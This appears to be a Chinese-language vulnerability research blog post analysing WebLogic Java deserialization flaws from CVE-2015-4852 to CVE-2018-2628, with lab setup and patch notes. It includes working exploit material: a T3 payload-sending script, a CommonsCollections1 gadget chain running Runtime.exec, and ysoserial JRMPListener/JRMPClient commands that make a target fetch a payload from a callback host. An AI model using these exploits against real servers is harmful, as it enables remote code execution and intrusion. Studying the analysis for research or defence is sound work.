搜集和分析关于WebLogic的反序列化漏洞

简介

序列化数据特征

对weblogic在7001端口的T3协议进行抓包,可以发现java序列化之后数据的Magic头ac ed 00 05,其编码后是rO0ABQ==

使用场景

  1. http参数,cookie,sesion,存储方式可能是base64(rO0),压缩后的base64(H4sl),MII等
  2. ServletsHTTP,Sockets,Session管理器包含的协议,包括JMX,RMI,JMS,JNDI等
  3. xmlXstream,XMLDecoder等
  4. json,包括Jackson,fastjson等

反序列化攻击时序图

Java应用的反序列化流程

image-20210522152846833

反序列化流程图

WebLogic进行反序列化的执行流程图

img

实现了External接口的对象会调用readExternal()函数,实现了Serialize接口的对象会调用readObject()函数

使用Proxy类封装的对象会调用readProxyClass()函数,否则会调用readClass()函数

如果对象中存在readResolve()函数会自动执行它

weblogic的黑名单检查放置在resolveProxyClass()resolveClass()函数中,函数为ClassFilter.isBlackListed()

漏洞分类

WebLogic反序列化高危漏洞主要分为java反序列化和xml反序列化,其中java发序列化可通过T3协议和IIOP协议触发,下面的漏洞分析也是根据这两大方面分隔展示

相关协议

反射机制

JAVA反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意一个方法和属性;这种动态获取的信息以及动态调用对象的方法的功能称为java语言的反射机制。

RMI和JRMP协议

RMI是Remote Method Invocation的简称,是J2SE的一部分,能够让程序员开发出基于Java的分布式应用。一个RMI对象是一个远程Java对象,可以从另一个Java虚拟机上(甚至跨过网络)调用它的方法,可以像调用本地Java对象的方法一样调用远程对象的方法,使分布在不同的JVM中的对象的外表和行为都像本地对象一样,RMI传输过程都使用序列化和反序列化。RMI目前使用Java远程消息交换协议JRMP(Java Remote Messaging Protocol)进行通信。JRMP协议是专为Java的远程对象制定的协议。

CORBA

CORBA(Common Object Request Broker Architecture,公共对象请求代理体系结构)是跨语言(C ++、Java等)的通信体系结构,通常在 IIOP 协议中使用。

GIOP协议

GIOP(General Inter-ORB Protocol,通用对象请求代理间通信协议)是分布式计算领域的一种抽象协议,负责ORB的通信。

IIOP协议

IIOP(Internet Inter-ORB Protocol,互联网内部对象请求代理协议),用来在CORBA对象请求代理之间交流的协议,实现Java和其他语言的CORBA的互操作。

RMI-IIOP协议

兼容了RMI和IIOP的实现,解决RMI和CORBA/IIOP无法同时使用的技术方案。

T3协议

WebLogic Server 中的 RMI 通信使用 T3 协议在WebLogic Server和其他 Java程序(包括客户端及其他 WebLogic Server 实例)间传输数据(序列化的类)。由于WebLogic的T3协议和Web协议共用同一个端口,因此只要能访问WebLogic就可利用T3协议实现payload和目标服务器的通信。

IDL

IDL(Interface Definition Language,接口定义语言)主要用于描述软件组件的应用程序编程接口的一种规范语言。它完成了与各种编程语言无关的方式描述接口,从而实现了不同语言之间的通信,这样就保证了跨语言跨环境的远程对象调用。

JAVA IDL

JAVA IDL是一个分布的对象技术,允许其对象在不同的语言间进行交互。它的实现是基于CORBA,一个行业标准的分布式对象模型。每个语言支持CORBA都有他们自己的IDL Mapping映射关系,IDL和JAVA的映射关系可以参考文档

反射机制

在Java中的反射机制是指在运行状态中,对于任意一个类都能够知道这个类所有的属性和方法,并且对于任意一个对象,都能够调用它的任意一个方法,这种动态获取信息以及动态调用对象方法的功能成为Java语言的反射机制

获取class

1
2
3
4
5
6
7
8
// 函数调用
Class class1 = testClass.getClass();
// class属性,最安全,性能最好,不会自动初始化该Class对象
Class class2 = testClass.class;
// 动态加载,最常用,className需要是类的全限定名,会自动初始化该Class对象
Class class3 = Class.forName("{package.className}");
// 动态加载
Class class4 = ClassLoader.loadClass("{package.className}");

反射调用内部类的时候需要使用$来代替.,如com.org.test类有一个叫做Hello的内部类,则在调用它的时候要写成:com.org.test$Hello

获取constructor

1
2
3
4
5
6
// getDeclaredConstructor会返回所有有权限的构造器
Constructor constructor1 = class1.getDeclaredConstructor({arg1}.class, ...);
Constructor constructors1 = class1.getDeclaredConstructors({arg1}.class, ...);
// getConstructor只返回权限是public的构造器
Constructor constructor2 = class1.getConstructor({arg1}.class, ...);
Constructor constructors2 = class1.getConstructors({arg1}.class, ...);

创建instance

1
2
3
4
// 使用构造器进行实例化
Object instance1 = constructor1.newInstance();
// 当构造函数无参时,可直接使用class进行实例化
Object instance1 = class1.newInstance();

获取method

1
2
3
4
5
6
// getDeclaredMethod会返回到当前类的所有成员方法
Method method1 = class1.getDeclaredMethod("{methodName}", {arg1}.class, ...);
Method[] methods1 = class1.getDeclaredMethods();
// getMethod只返回当前类和父类的权限是public的方法
Method method2 = class1.getMethod("{methodName}", {arg1}.class, ...);
Method[] methods2 = class1.getMethods();

调用method

1
Process process1 = (Process) method1.invoke(instance1,"{arg0}"); // arg0是调用函数的参数,可选选项

获取method结果

1
InputStream in = process1.getInputStream();

输出method结果

1
System.out.println(IOUtils.toString(in,"UTF-8"));

设置public属性

1
2
constructor1.setAccessible(true);
method1.setAccessible(true);

动态代理

Java动态机制涉及一个接口和一个类,分别是InvocationHandler接口和Proxy

InvocationHandler

InvocationHandler接口是proxy代理实例的调用处理程序实现的一个接口,每一个proxy代理实例都有一个关联的调用处理程序,在代理实例调用方法时,方法调用被编码并调度到调用处理程序的invoke方法

Proxy

Proxy类就是用来创建一个代理对象的类,它提供了很多方法,但是我们最常用的是newProxyInstance方法

1
2
3
4
5
public static Object newProxyInstance(
ClassLoader loader, // 代理类的classloader
Class<?>[] interfaces, // 代理类的interface数组
InvocationHandler h // 包含invoke函数实现的InvocationHandler
)

样例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;

interface Hello {
void morning(String name);
}

public class Main {
public static void main(String[] args) {
InvocationHandler handler = new InvocationHandler() {
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println(method);
if (method.getName().equals("morning")) {
System.out.println("Good morning, " + args[0]);
}
return null;
}
};
Hello hello = (Hello) Proxy.newProxyInstance(
Hello.class.getClassLoader(), // 传入ClassLoader
new Class[] { Hello.class }, // 传入要实现的接口
handler); // 传入处理调用方法的InvocationHandler
hello.morning("Bob");
}
}

ysoserial

https://github.com/frohoff/ysoserial

ysoerial是一款专门用于生成Java反序列化Payload的工具

我们可以在src/main/java/ysoserial/payloads/文件夹中自定义自己的Payload,不过在自定义之前我们需要了解src/main/java/ysoserial/payloads/util文件中工具类的使用

ClassFiles.java

1
2
3
4
// 将类转化为文件名
String classAsFile(final Class<?> clazz, boolean suffix)
// 将类转化为字节码
byte[] classAsBytes(final Class<?> clazz)

Gadgets.java

1
2
3
4
5
6
7
8
9
10
11
12
// 创建一个memberValues为map的AnnotationInvocationHandler接口
InvocationHandler createMemoizedInvocationHandler ( final Map<String, Object> map )
// 创建iface类对应的Proxy实例
<T> T createProxy ( final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces )
// 创建实现了AnnotationInvocationHandler接口的iface类对应的Proxy实例
<T> T createMemoitizedProxy ( final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces )
// 创建一个HashMap实例并加入{key:val}元素
Map<String, Object> createMap ( final String key, final Object val )
// 使用TemplatesImpl的Gadget构造执行command的对象
Object createTemplatesImpl ( final String command )
// 创建一个table成员为[{v1:v1},{v2:v2}]的HashMap实例
HashMap makeMap ( Object v1, Object v2 )

JavaVersion.java

1
2
// 获取本地Java版本
JavaVersion getLocalVersion()

PayloadRunner.java

1
2
// 运行Payload
void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args)

Reflections.java

1
2
3
4
5
6
7
8
9
10
// 获取对象成员
Field getField(final Class<?> clazz, final String fieldName)
// 设置对象成员
void setFieldValue(final Object obj, final String fieldName, final Object value)
// 获取对象成员的值
Object getFieldValue(final Object obj, final String fieldName)
// 获取第一个构造器
Constructor<?> getFirstCtor(final String name)
// 使用构造器进行实例化
<T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )

TemplatesImpl

https://b1ngz.github.io/java-deserialization-jdk7u21-gadget-note/

在上面Gadgets.java中的createTemplatesImpl()函数中,我们提到了ysoserial是使用TemplatesImpl的Gadget来构造恶意数据的,下面我们详细介绍一下其原理

javassist

Java字节码操作库,提供了在运行时操作Java字节码的方法,如在已有Class中动态修改和插入Java static代码

样例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class Cat {}

@Test
public void test() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get(Cat.class.getName());
String cmd = "System.out.println(\"evil code\");";
// 创建static代码块,并插入代码
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
// 写入.class 文件
cc.writeFile();
}

这里有一个重要的知识点是defineClass()函数并不会触发上面的static代码,但是使用newInstence()函数进行实例化的时候可以触发

调用链

首先我们找到TemplatesImpl类的入口点getOutputProperties()函数

1
2
3
4
5
6
7
8
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties(); // 1 跟进newTransformer()函数
}
catch (TransformerConfigurationException e) {
return null;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;

transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory); // 2 实例化了TransformerImpl,跟进getTransletInstance()函数

if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}

if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null; // 3 令_name为非空往下进行

if (_class == null) defineTransletClasses(); // 4 令_class为空,跟进defineTransletClasses()函数

// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet)
_class[_transletIndex].getConstructor().newInstance(); // 8 使用newInstance()触发static代码,至此代码利用完成
translet.postInitialization();
translet.setTemplates(this);
translet.setOverrideDefaultParser(_overrideDefaultParser);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}

return translet;
}
catch (InstantiationException | IllegalAccessException |
NoSuchMethodException | InvocationTargetException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString(), e);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
private void defineTransletClasses()
throws TransformerConfigurationException {

if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}

TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); // 5 确保_tfactory成员具有getExternalExtensionsMap()函数,即需是一个TransformerFactoryImpl类
}
});

try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];

if (classCount > 1) {
_auxClasses = new HashMap<>();
}

for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]); // 6 使用了loader.defineClass()加载类字节码,但是还缺少static代码的触发条件
final Class superClass = _class[i].getSuperclass();

// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) { // 7 令superClass为ABSTRACT_TRANSLET,即父类为com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet,使_transletIndex更新
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}

if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}

payload

我们看一下最终的payload实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
public static class StubTransletPayload extends AbstractTranslet implements Serializable {

private static final long serialVersionUID = -5971610431559700674L;

public void transform ( DOM document, SerializationHandler[] handlers ) throws TransletException {}

@Override
public void transform ( DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {}
}

// required to make TemplatesImpl happy
public static class Foo implements Serializable {

private static final long serialVersionUID = 8207363842866235160L;
}

public static Object createTemplatesImpl ( final String command ) throws Exception {
if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
// 引入了三个必要类
return createTemplatesImpl(
command,
Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
}

return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}

public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
throws Exception {
final T templates = tplClass.newInstance();

// 将cmd写入到StubTransletPayload类的静态代码中
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
"\");";
clazz.makeClassInitializer().insertAfter(cmd);
// 为重复利用采用随机命名
clazz.setName("ysoserial.Pwner" + System.nanoTime());
// 传入父类类型,对应调用链第7个地方,但是_transletIndex默认为0,如果我们把payload直接放在第1位是不会有影响的
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);

// 传入payload的字节码,至于这里为什么要引入一个Foo类我也不太清楚,去掉是不会有影响的
final byte[] classBytes = clazz.toBytecode();
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});

// 对应调用链第3个地方
Reflections.setFieldValue(templates, "_name", "Pwnr");
// 对应调用链第5个地方,但是其实_tfactory是被transient修饰的,是不参与反序列化的,它在readObject是会进行重构的,删除无影响
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}

环境搭建

WebLogic环境搭建复杂,一般使用docker,可参考此博客

weblogic: 10.3.6.0

参考vulhub/weblogic版本

  1. 创建docker-compose.yml

    1
    2
    3
    4
    5
    6
    7
    8
    9
    version: '2'
    services:
    weblogic:
    image: vulhub/weblogic
    environment:
    debugFlag: "true"
    ports:
    - "7001:7001"
    - "8453:8453"
  2. 运行docker-compose up -d

  3. 把weblogic的源码和jdk包拷出来

    要是源码太多了,就只复制wlserver出来就好

    1
    docker cp [weblogic id]:/root ./root
  4. IDEA打开/root/Oracle/Middleware/wlserver_10.3/目录

  5. 把Middleware目录下所有的*.jar包都放在一个test的文件夹里(同名.jar会有影响,比如CVE-2020-14645)

    1
    mkdir test && find ./ -name '*.jar' -exec cp {} ./test/ \; 2>/dev/null
  6. 然后在Project Settings->Libraries下添加test目录

  7. 前往Project Settings->Project,选用WebLogic自带的jdk1.6

  8. 创建remote server,配置远程调试的IP(localhost)和端口(8453),点击debug,出现以下信息即为成功

    1
    Connected to the target VM, address: 'localhost:8453', transport: 'socket'
  9. (附)抓取流量

    1
    2
    3
    4
    5
    6
    sed -i s@/archive.ubuntu.com/@/mirrors.aliyun.com/@g /etc/apt/sources.list
    apt-get clean
    apt-get update
    apt-get install tcpdump
    tcpdump -w /tmp/tcp.cap
    docker cp [weblogic id]:/tmp/tcp.cap ./

weblogic: 12.2.1.4

参考官网,后面的CVE-2020-13645会用到

  1. 在当前路路径创建domain.properties文件

    注意密码需要至少8个字符,且至少有1个数字或特殊符号,否则会报错

    1
    2
    username=myadminusername
    password=myadminpassword!
  2. 创建docker-compose.yml文件

    默认是生产模式,所以这里把PRODUCTION_MODE设为””,否则无法调试

    DOMAIN_NAME默认为空,这里设置为”base_domain”,否则会报找不到文件错误

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    version: '2'
    services:
    weblogic:
    image: store/oracle/weblogic:12.2.1.4-dev-200117
    environment:
    DOMAIN_NAME: "base_domain"
    debugFlag: "true"
    PRODUCTION_MODE: ""
    ADMINISTRATION_PORT_ENABLED: "false"
    volumes:
    - type: bind
    source: ./
    target: /u01/oracle/properties
    ports:
    - "7001:7001"
    - "8453:8453"
    - "9002:9002"
  3. 启动docker

    1
    docker-compose up -d
  4. 拷贝源码和jdk

    1
    docker cp [weblogic id]:/u01 ./u01
  5. 后面步骤和上面一样

漏洞分析

JAVA反序列化

CVE-2015-4852

Oracle WebLogic Server 10.3.6.0、12.1.2.0、12.1.3.0、12.2.1.0

payload

生成反序列化payload

1
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections1 "touch /tmp/success" > poc.ser

祖传T3脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import binascii
import socket
import time

def t3_send(ip, port, file):
t3_header = 't3 10.3.6\nAS:255\nHL:19\n\n'
host = (ip, int(port))
# socket connect
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(15)
sock.connect(host)
# send t3 header
sock.send(t3_header.encode('utf-8'))
# time.sleep(1)
resp1 = sock.recv(1024)
# first part
data1 = '016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000'
# second part, BIN -> HEX
with open(file, 'rb') as f:
payload = binascii.b2a_hex(f.read()).decode('utf-8')
# join
data = data1 + payload
# get lenth and join
data = '%s%s' % ('{:08x}'.format(len(data) // 2 + 4), data)
# a2b: HEX -> BIN
sock.send(binascii.a2b_hex(data))

if __name__ == '__main__':
t3_send('127.0.0.1','7001','poc.ser')

漏洞分析

漏洞利用的原理利用TransformedMap.setValue()或者LazyMap.get()(ysoserial用的就是这个方法)方法来触发Apache Commons Collections,而在我们的AnnotationInvocationHandler类中,都含有这两个方法的调用,下面我们来看一下它们的入口点

TransformedMap为例,在AnnotationInvocationHandler类中,我们可以发现memberValues的类型为Map<String, Object>,我们可以控制其类型为TransformedMap,然后readObject()方法的方法中,我们可以看到entrySet调用了setValue()方法,满足利用条件

image-20210124182703110

image-20210124182534426

这里有一处小细节就是,为了让var7非空,我们需要执行innerMap.put("value", "value");,原因是我们的var3的值为[“value”] => “class java.lang.annotaion.RetentionPolicy”,即只有一个”value”的key值,具体可自行去参考它的实现

这里给出代码实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import java.io.;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

public class CommonsCollection1 {
public static void main(String[] args) throws Exception {
//Runtime.getRuntime().exec("calc");
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class
}, new Object[] {
"getRuntime",
new Class[0]
}),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class
}, new Object[] {
null,
new Object[0]
}),
new InvokerTransformer("exec", new Class[] {
String.class
}, new Object[] {
"calc"
})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
//只需要有一处调用 chainedTransformer
Map inMap = new HashMap();
inMap.put("value", "value");
Map outMap = TransformedMap.decorate(inMap, null, chainedTransformer);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(new Class[] {
Class.class, Map.class
});
ctor.setAccessible(true);
Object instance = ctor.newInstance(new Object[] {
Retention.class, outMap
});
// 写出到文件
FileOutputStream fos = new FileOutputStream("payload.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(instance);
oos.flush();
oos.close();
// 模拟触发代码执行
FileInputStream fis = new FileInputStream("payload.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
Object newObj = ois.readObject();
ois.close();
}
}

LazyMap为例,触发点在调用memerValues.entrySet()时会触发它的invoke()方法,其中存在get()方法满足利用条件

image-20210124192432215

代码的实现参考ysoserial的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
package ysoserial.payloads;

import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

@PayloadTest(precondition = "isApplicableJavaVersion")
@Dependencies({
"commons-collections:commons-collections:3.1"
})
@Authors({
"frohoff"
})
public class CommonsCollections1
extends PayloadRunner
implements ObjectPayload < InvocationHandler > {
public InvocationHandler getObject(String command)
throws Exception {
String[] execArgs = {
command
};
Transformer transformerChain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Integer.valueOf(1))
});
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class
}, new Object[] {
"getRuntime",
new Class[0]
}),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class
}, new Object[] {
null,
new Object[0]
}),
new InvokerTransformer("exec", new Class[] {
String.class
}, execArgs),
new ConstantTransformer(Integer.valueOf(1))
};
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
Map mapProxy = (Map) Gadgets.createMemoitizedProxy(lazyMap, Map.class, new Class[0]);
InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
return handler;
}

public static void main(String[] args)
throws Exception {
PayloadRunner.run(CommonsCollections1.class, args);
}

public static boolean isApplicableJavaVersion() {
return JavaVersion.isAnnInvHUniversalMethodImpl();
}
}

补丁

增加ClassFilter.isBlackListed()函数并把涉及到的3个类加入到黑名单

1
2
3
weblogic.rjvm.InboundMsgAbbrev.class::ServerChannelInputStream
weblogic.rjvm.MsgAbbrevInputStream.class
weblogic.iiop.Utils.class

CVE-2016-0638

工具利用

https://github.com/5up3rc/weblogic_cmd

IDEA创建application配置,在Program arguments填入,或者导出.jar

1
-H "127.0.0.1" -C "touch /tmp/success" -B -os linux

漏洞分析

此漏洞是对CVE-2015-4852的黑名单进行绕过,对整个利用链再加一层封装即可绕过黑名单,新的利用点在weblogic.jms.common.StreamMessageImpl类中的readExternal()方法把传入的序列化数据,调用到上面CVE-2015-4852提到的readObject()的方法

image-20210125161308443

所以exploit的写法就是把CommonsCollections1的实现再套一层StreamMessageImpl

image-20210127205403637

补丁

把涉及类加入到黑名单

1
weblogic.jms.common.StreamMessageImpl

CVE-2016-3510

Oracle WebLogic Server 10.3.6.0、12.1.2.0、12.1.3.0、12.2.1.0

工具利用

https://github.com/5up3rc/weblogic_cmd

修改TYPE如下

1
public static String TYPE = "marshall";

image-20210125163013383

漏洞分析

这个CVE也是对CVE-2015-4852的黑名单进行绕过,利用到的类是weblogic.corba.utils.MarshalledObject类,在反序列化这个类的时候会调用readResolve()方法,里面也调用了ObjectInputStream的readObject()方法

MarshalledObject在构造时把参数var1传到this.objBytes

image-20210125163953194

在调用readResolve()方法时会触发readObject()函数

image-20210125164049349

同理exploit的写法是把CommonsCollections1的实现再套一层MarshalledObject

image-20210127205454949

补丁

把涉及类加入到黑名单

1
weblogic.corba.utils.MarshalledObject

CVE-2017-3248

Oracle WebLogic Server 10.3.6.0、12.1.2.0、12.1.3.0、12.2.1.0

poc

1
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections1 'touch /tmp/success'

攻击脚本

1
python exploit.py 127.0.0.1 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 172.25.144.219 7777 JRMPClient
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
// JRMPClient
package ysoserial.payloads;

import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;

@SuppressWarnings ( {
"restriction"
} )
@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient extends PayloadRunner implements ObjectPayload<Registry> {

public Registry getObject ( final String command ) throws Exception {
String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
Registry.class
}, obj);
return proxy;
}

public static void main ( final String[] args ) throws Exception {
Thread.currentThread().setContextClassLoader(JRMPClient.class.getClassLoader());
PayloadRunner.run(JRMPClient.class, args);
}
}

漏洞分析

这里其实利用到了RMI和DGC的机制,当DGC Client调用远程对象时,会调用DGC Serverdirty()函数,这时DGC Server就向DGC Client返回一个lease(DGCClient.vmid, DGCClient.leaseValue);当DGC Client不需要这个远程对象时,就会调用DGC Serverclean()函数,这个漏洞的关键点就在于我们可以伪造恶意的DGC Server向DGC Client,即victim,回送一个包含恶意payload的对象,让DGC Client在DGC层执行反序列化触发payload

漏洞链如下

image-20210126142905037

补丁

resolveProxyClass()方法中加入对java.rmi.registry.Registry的检查

1
2
3
4
5
6
7
8
9
10
11
12
13
protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
String[] arr$ = interfaces;
int len$ = interfaces.length;

for(int i$ = 0; i$ < len$; ++i$) {
String intf = arr$[i$];
if(intf.equals("java.rmi.registry.Registry")) {
throw new InvalidObjectException("Unauthorized proxy deserialization");
}
}

return super.resolveProxyClass(interfaces);
}

CVE-2018-2628

Oracle WebLogic Server 10.3.6.0、12.1.3.0、12.2.1.2、12.2.1.3

poc

1
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections1 'touch /tmp/success'
1
python exploit.py 127.0.0.1 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 172.25.144.219 7777 JRMPClient2

还有一种通过CVE-2016-1000031 Apache Commons Fileupload进行任意文件写入

再者可以直接去掉CVE-2017-3248的Proxy的封装,从而直接绕过resolveProxyClass()方法

漏洞分析

此漏洞是对CVE-2017-3248的绕过,因为InboundMsgAbbrev类的resolveProxyClass()仅仅只是对java.rmi.registry.Registry进行判断,所以我们可以通过其他RMI接口绕过,比如java.rmi.activation.Activator

exploit的编写就是直接替换

image-20210127214823732

补丁

WeblogicFilterConfig.class的黑名单中添加了sun.rmi.server.UnicastRef进行防御

1
2
3
4
5
6
7
private static final String[] DEFAULT_BLACKLIST_CLASSES = new String[]{
"org.codehaus.groovy.runtime.ConvertedClosure",
"org.codehaus.groovy.runtime.ConversionHandler",
"org.codehaus.groovy.runtime.MethodClosure",
"org.springframework.transaction.support.AbstractPlatformTransactionManager",
"sun.rmi.server.UnicastRef" // new
};

CVE-2018-2893

Oracle WebLogic Server 10.3.6.0、12.1.3.0、12.2.1.2、12.2.1.3

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
